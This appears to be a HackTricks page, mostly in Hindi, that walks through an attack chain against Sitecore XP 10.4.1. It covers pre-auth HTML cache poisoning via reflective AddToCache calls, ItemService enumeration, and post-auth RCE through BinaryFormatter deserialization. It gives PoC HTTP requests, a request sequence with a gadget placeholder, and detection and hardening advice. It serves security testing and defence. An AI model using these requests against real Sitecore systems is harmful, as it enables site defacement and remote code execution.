Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 8 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

यह पृष्ठ Sitecore XP 10.4.1 के खिलाफ एक व्यावहारिक attack chain का सार प्रस्तुत करता है जो pre‑auth XAML handler से HTML cache poisoning की ओर मुड़ता है और authenticated UI flow के माध्यम से BinaryFormatter deserialization के जरिए RCE तक पहुँचता है। ये तकनीकें समान Sitecore संस्करणों/components पर सामान्यीकृत होती हैं और टेस्ट, डिटेक्ट, तथा हार्डन करने के लिए ठोस primitives प्रदान करती हैं।

  • प्रभावित उत्पाद (परीक्षण): Sitecore XP 10.4.1 rev. 011628
  • Fixed in: KB1003667, KB1003734 (जून/जुलाई 2025)

See also:

Cache Poisoning and Cache Deception

Deserialization

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

प्रवेश बिंदु web.config में पंजीकृत pre‑auth XAML handler है:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

के माध्यम से पहुँचा जा सकता है:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

कंट्रोल ट्री में AjaxScriptManager शामिल है जो इवेंट अनुरोधों पर attacker‑controlled फील्ड्स को पढ़ता है और लक्षित controls पर रिफ्लेक्टिवली मेथड्स को invoke करता है:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

मुख्य अवलोकन: XAML पेज में एक XmlControl instance (xmlcontrol:GlobalHeader) शामिल है। Sitecore.XmlControls.XmlControl Sitecore.Web.UI.WebControl (एक Sitecore class) से derive होता है, जो ReflectionUtil.Filter allow‑list (Sitecore.*) को पास करता है और Sitecore WebControl पर methods को अनलॉक कर देता है।

poisoning के लिए Magic method:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

क्योंकि हम xmlcontrol:GlobalHeader को target कर सकते हैं और नाम द्वारा Sitecore.Web.UI.WebControl methods को call कर सकते हैं, हमें एक pre‑auth arbitrary HtmlCache write primitive मिलता है।

PoC request (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

नोट:

  • __SOURCE xmlcontrol:GlobalHeader का clientID है, जो Sitecore.Shell.Xaml.WebControl के भीतर आता है (आम तौर पर स्थिर होता है जैसे ctl00_ctl00_ctl05_ctl03 क्योंकि यह static XAML से व्युत्पन्न होता है).
  • __PARAMETERS का फ़ॉर्मेट Method("arg1","arg2") है।

क्या poison करना है: Cache key construction

Sitecore controls द्वारा उपयोग की जाने वाली सामान्य HtmlCache key construction:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

ज्ञात sublayout के लिए targeted poisoning का उदाहरण:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

cacheable items और “vary by” आयामों को सूचीबद्ध करना

यदि ItemService (mis)exposed anonymously है, तो आप cacheable components को enumerate करके exact keys निकाल सकते हैं।

त्वरित जाँच:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

कैश करने योग्य आइटम और flags सूचीबद्ध करें:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate जैसे फ़ील्ड देखें। डिवाइस नामों को निम्न के माध्यम से सूचीबद्ध किया जा सकता है:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration under restricted identities (CVE-2025-53694)

यहाँ तक कि जब ItemService किसी सीमित खाते (उदा., ServicesAPI) की नकल करता है और एक खाली Results array लौटाता है, तब भी TotalCount pre‑ACL Solr hits को दर्शा सकता है। आप wildcards के साथ item groups/ids पर brute‑force करके TotalCount के converge होते हुए internal content और devices का नक्शा बना सकते हैं:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink में convertToRuntimeHtml (CVE-2025-53691)

Sink:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

convertToRuntimeHtml pipeline step ConvertWebControls के माध्यम से पहुंच योग्य है, जो id {iframeId}_inner वाले element को खोजता है और उसे base64 decodes + deserializes करता है, फिर resulting string को HTML में inject करता है:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Trigger (प्रमाणीकृत, Content Editor अधिकार). FixHtml dialog convertToRuntimeHtml को कॉल करता है। End‑to‑end बिना UI क्लिकों के:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

संपूर्ण चेन

  1. Pre‑auth हमलावर reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager के माध्यम से arbitrary HTML से HtmlCache को प्रदूषित करता है।
  2. प्रदूषित HTML JavaScript परोसता है जो एक प्रमाणीकृत Content Editor उपयोगकर्ता को FixHtml flow के माध्यम से नेविगेट करता है।
  3. FixHtml पेज convertToRuntimeHtml → ConvertWebControls को ट्रिगर करता है, जो BinaryFormatter के माध्यम से हमलावर‑नियंत्रित base64 को डिसेरियलाइज़ करके Sitecore app pool identity के अंतर्गत RCE पैदा करता है।

पहचान

  • Pre‑auth XAML: /-/xaml/Sitecore.Shell.Xaml.WebControl के लिए अनुरोध जिनमें __ISEVENT=1, संदिग्ध __SOURCE और __PARAMETERS=AddToCache(...) होते हैं।
  • ItemService probing: /sitecore/api/ssc वाइल्डकार्ड क्वेरीज में वृद्धि, खाली Results के साथ बड़ा TotalCount
  • Deserialization attempts: EditHtml.aspx के बाद FixHtml.aspx?hdl=... और HTML फ़ील्ड्स में असामान्य रूप से बड़ा base64।

कड़ी सुरक्षा

  • Sitecore patches KB1003667 और KB1003734 लागू करें; pre‑auth XAML handlers को gate/disable करें या सख्त validation जोड़ें; /-/xaml/ की निगरानी और rate‑limit लागू करें।
  • BinaryFormatter को हटाएँ/बदलें; convertToRuntimeHtml तक पहुँच सीमित करें या HTML editing flows की मजबूती से server‑side validation लागू करें।
  • /sitecore/api/ssc को loopback या authenticated roles तक लॉक डाउन करें; ऐसे impersonation patterns से बचें जो TotalCount‑आधारित side channels को leak करते हैं।
  • Content Editor users के लिए MFA/least privilege लागू करें; cache poisoning से JS steering के प्रभाव को कम करने के लिए CSP की समीक्षा करें।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें